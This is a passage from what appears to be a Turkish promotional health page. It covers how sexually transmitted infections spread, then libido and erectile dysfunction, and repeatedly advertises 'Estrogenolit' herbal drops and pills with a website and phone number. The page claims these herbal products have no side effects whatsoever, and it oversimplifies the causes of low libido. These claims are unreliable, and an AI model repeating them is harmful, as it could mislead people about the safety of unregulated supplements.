Bazen cinsel temas olmasa bile, mikroplar deri çatlaklarından, hasta birinin kullandığı tırnak makası, diş fırçası, jilet gibi hijyenik kullanım ürünlerinden, hamam, sauna gibi ıslak yüzeylerden ve tam steril edilememiş cerrahi, diş ve dövme aletlerinden, manikür pedikür işleminden rahatlıkla bulaşabiliyor. gonore (bel soğukluğu), herpes (uçuk) ve klamidya adı verilen hastalıklar gebelik süresince veya doğum sırasında anneden bebeğine de bulaşabiliyor
Sadece hayat kadınlarındanda bulaşmıyor
Sadece hayat kadınlarında bulunmaz, korunmasız seks yapan herkes bu hastalıkları taşıyabilir veya bulaştırabilir.
Sonuç olarak basın bültenimizin amacı vatandaşlarımızı seksten vazgeçirmek ya da korkutmak değil. Eğer kişiler cinsel aktivite sırasında prezervatif ya da başka önleyicileri doğru ve tutarlı bir şekilde kullanıyorsa, olması gereken önlemleri alıyor demektir.
Böylece tüm risklerin farkında olunur. Sağlıklı ve mutlu cinsel yaşamın anahtarı doğru karar alma, tek eşli olma, kişinin kendisini ve partnerini korumasıdır.

Estrogenolit Damlası

LİBİDO HAKKINDA

Estrogenolit Damla ve Estrogenolit Hap

Günümüzde libido eksikliğine sık rastlanır. Bunun sebebi güç yaşam koşulları, alışkanlıklar, sağlıksız beslenme ve strestir. Eğer sorun fizyolojik değilse, libidoyu düşüren psikolojik sebepler ortadan kaldırılmalıdır.

Libido nedir?

“Libido” en genel anlamda cinsel zevk dürtülerini tarif eder, ancak bundan ibaret değildir. Latince şehvet anlamındaki “libd” kelimesinden gelen libido için sözlükler şöyle diyor. “İnsan davranışlarının temelini oluşturan içgüdü.” Peki bu ne demek? En yalın haliyle “hayattan zevk alma dürtüsü” demek. Kişiyi mutlu eden şeyler demek. Müzik dinlemek, resim yapmak, kitap okumakla kısıtlamayın kendinizi düşünürken, sizi mutlu eden neyse hepsi libido! Psikanalist Freud libidoyu şöyle tanımlamış: “Kişiye yaşama gücü veren enerji.”

Libido ne işe yarar?

Libidonun yükselmesi, cinsel zevk alma dürtüsünün harekete geçtiğini gösterir. Kendinizi iyi hissettiğiniz zamanlarda cinsel arzularınız da buna bağlı artar. Sözün kısası libido insanı mutlu etmeye yarar.

Libido salgılayan hormon hangisidir?

Libidoyu üreten testosteron hormonudur. Kadınlarda yumurtalıklarda, erkeklerde testislerde ve bir miktar böbrek üstü bezlerde üretilir. Erkekler kadınlara göre üç kat fazla testosterona sahiptirler.

Libido eksikliği nasıl giderilir?

Libido eksikliği testosteron hormonunun yetersiz salgılanmasından kaynaklanır. Tıbben gerekli görülürse ilaç takviyesine başvurulur. Ancak vücudun bu hormonu daha fazla üretmesi için ilaç kullanılması daha renkli bir cinsel yaşam anlamına gelmez. Çünkü çevresel ve kişisel faktörler bu konuda etkilidir. Günümüzde libido eksikliğine sık rastlanıyor. Bunun sebebi güç yaşam koşullarıdır. Eğer sorun fizyolojik değilse, libidoyu düşüren psikolojik sebepler ortadan kaldırılmalıdır.

Bir diğer çözüm bitkisel ürünler kullanmaktan geçer. Eğer libido sorunu yaşıyorsanız, size önerimiz, Estrogenolit’in tamammen bitkisel ürünlerinden kullanmanız olacaktır. Kadın ve erkeklerde libidoyu arttıran bitkisel içerikli ürünlerin her hangi bir yan etkisi bulunmamaktadır. Detaylı bilgi için www.estrogenolit.net adresini ziyaret edebilir yada 0533 131 17 74 numaralı telefondan bize ulaşabilirsiniz.

Sağlıklı bir cinsel yaşam dileğiyle…

Estrogenolit Damla ve Estrogenolit Hap

SERTLEŞME SORUNU VE ÇÖZÜMLERİ

Estrogenolit Damla ve Estrogenolit Hap

İktidarsızlık ya da sertleşme sorunu bir erkeğin sürekli veya tekrarlayan biçimde, cinsel ilişki için yeterli sertliği sağlayamama veya sertliği sürdürememe durumudur.

Sertleşme sorunu sık görülen bir durum mudur
Bilimsel veriler erkeklerin yarısının hayatlarının herhangi bir döneminde en az bir kez hafif ya da şiddetli sertleşme sorunu yaşadığını göstermektedir. Yapılan çalışmalarda yaş ilerledikçe sertleşme sorununun sıklığının arttığını görmekteyiz. Ortalama olarak 40’lı yaşlarda %40, 50’li yaşlarda %50, 60’lı yaşlarda %60 sertleşme sorunu görülmektedir. Sertleşme sorunu bu kadar sık görülmesine karşın hepsi aynı şiddette değildir. Hafif, orta veya şiddetli olabilir. Örneğin Türkiye’de yapılan tarama çalışmasında 40-70 yaş arası sertleşme sorunu %69 oranında olmasına rağmen şiddetli sertleşme sorunu olan % 9-10’luk kısmıdır.
Sertleşme sorunu nelerden kaynaklanmaktadır?
sertleşme sorununun çoğunlukla psikolojik (ruhsal) kaynaklı olduğu düşünülürken günümüzde organik (fiziksel) sebeplerin daha fazla olduğu görülmüştür. Yani, sertleşmenin olabilmesi için gerekli hormon, sinir, damar ve adale sisteminde meydana gelecek bozukluklar sertleşme sorununa yol açabilmektedir. Sorunun kaynağı sadece fiziksel olabileceği gibi, hem fiziksel hem de psikolojik olabilmektedir.
Fiziksel nedenler nelerdir?
Normal sertleşme için gerekli olan hormonlar, sinir sistemi, penisteki damar ve iç adale yapısı gibi sistem ve yapıların birinde ya da birkaçında bozukluk olduğunda sertleşme sorunu ortaya çıkar. En sık kalp-damar sistemi hastalıkları, diyabet (şeker hastalığı), yüksek tansiyon, depresyon hastalarında sertleşme sorunu görülmektedir. Kişide sertleşme sorununa bağlı olarak başka sorunlar da ortaya çıkabilmektedir. Örneğin; sinirsel gerginlik, öz güven kaybı, hayat kalitesinde azalma, insan ilişkilerinde olumsuz etki gibi.
Sertleşme sorunu yaratabilecek risk faktörleri var mı?
Öncelikle yaşlanma ile cinsel fonksiyonlarımız azalmaktadır, ancak sertleşme sorunu yaşlanmanın bir sonucu değildir. Yaşlanmanın yarattığı psikolojik durum olumsuzluk yaratabilir. Esas olarak kronik hastalıklardan olan yüksek tansiyon, diyabet, kalp damar hastalıkları ve depresyon risk faktörleridir. Sağlıksız yaşam koşulları, sigara kullanımı, stres ve alkol bağımlılığı diğer risk faktörlerindendir. Kullanılan bazı ilaçlar da sertleşme sorunu yaratabilir. Bunlardan bazıları, tansiyon düşürücüler ve antidepresanlardır.
Sertleşme sorununun hormonlarımızla ilişkisi var mı?
Özellikle erkeklik hormonu olan testosteron cinsel isteğimizle ilişkilidir. Testosteronun penis içyapısı üzerine de etkisi vardır. Testosteron düzeyindeki düşüklük hem isteğimizi, hem de penis içyapısını olumsuz etkileyerek sertleşme sorununa yol açabilir. Diğer hormonal bozukluklar, örneğin; diyabet, tiroid bezi hastalıkları, böbrek üstü bezi hastalıkları veya hipofiz bezi hastalıklarında da hormonal değişiklikler oluşarak sertleşme bozukluğu olabilir.
Diyabet (şeker hastalığı) ile sertleşme sorunu ilişkisi nedir?
Diyabeti olan erkek hastaların yarısında zaman içerisinde sertleşme sorunu gelişmektedir. Tip 1 diyabeti olan insülin bağımlısı genç hastalarda bu problem daha erken ortaya çıkabilmektedir. Tip 2 diyabeti olan insüline bağımlı olmayan ve daha geç yaşlarda ortaya çıkan diyabette sertleşme sorunu daha yavaş gelişmektedir.
Diyabetik erkeklerde birkaç nedenle sertleşme sorunu ortaya çıkmaktadır. Öncelikle diyabet küçük kan damarlarına zarar vererek penise kan akımı azalmaktadır. İkinci olarak çevre sinirlerde bozukluk oluşmakta ve penise sertleşme için gerekli uyarı iletilememektedir.
Kan yağlarının sertleşme sorunu ile ilişkisi var mı?
Kolesterol ve trigliserit gibi kan yağlarındaki yükseklik kalp-damar hastalığı yaratarak ve penise giden kan akımında azalmaya yol açarak sertleşme bozukluğuna yol açmaktadır. Özellikle kötü huylu denilen düşük yoğunluklu kolesterolün yüksek oluşu sertleşmeyi olumsuz etkilemektedir.

Estrogenolit Damla ve Estrogenolit Hap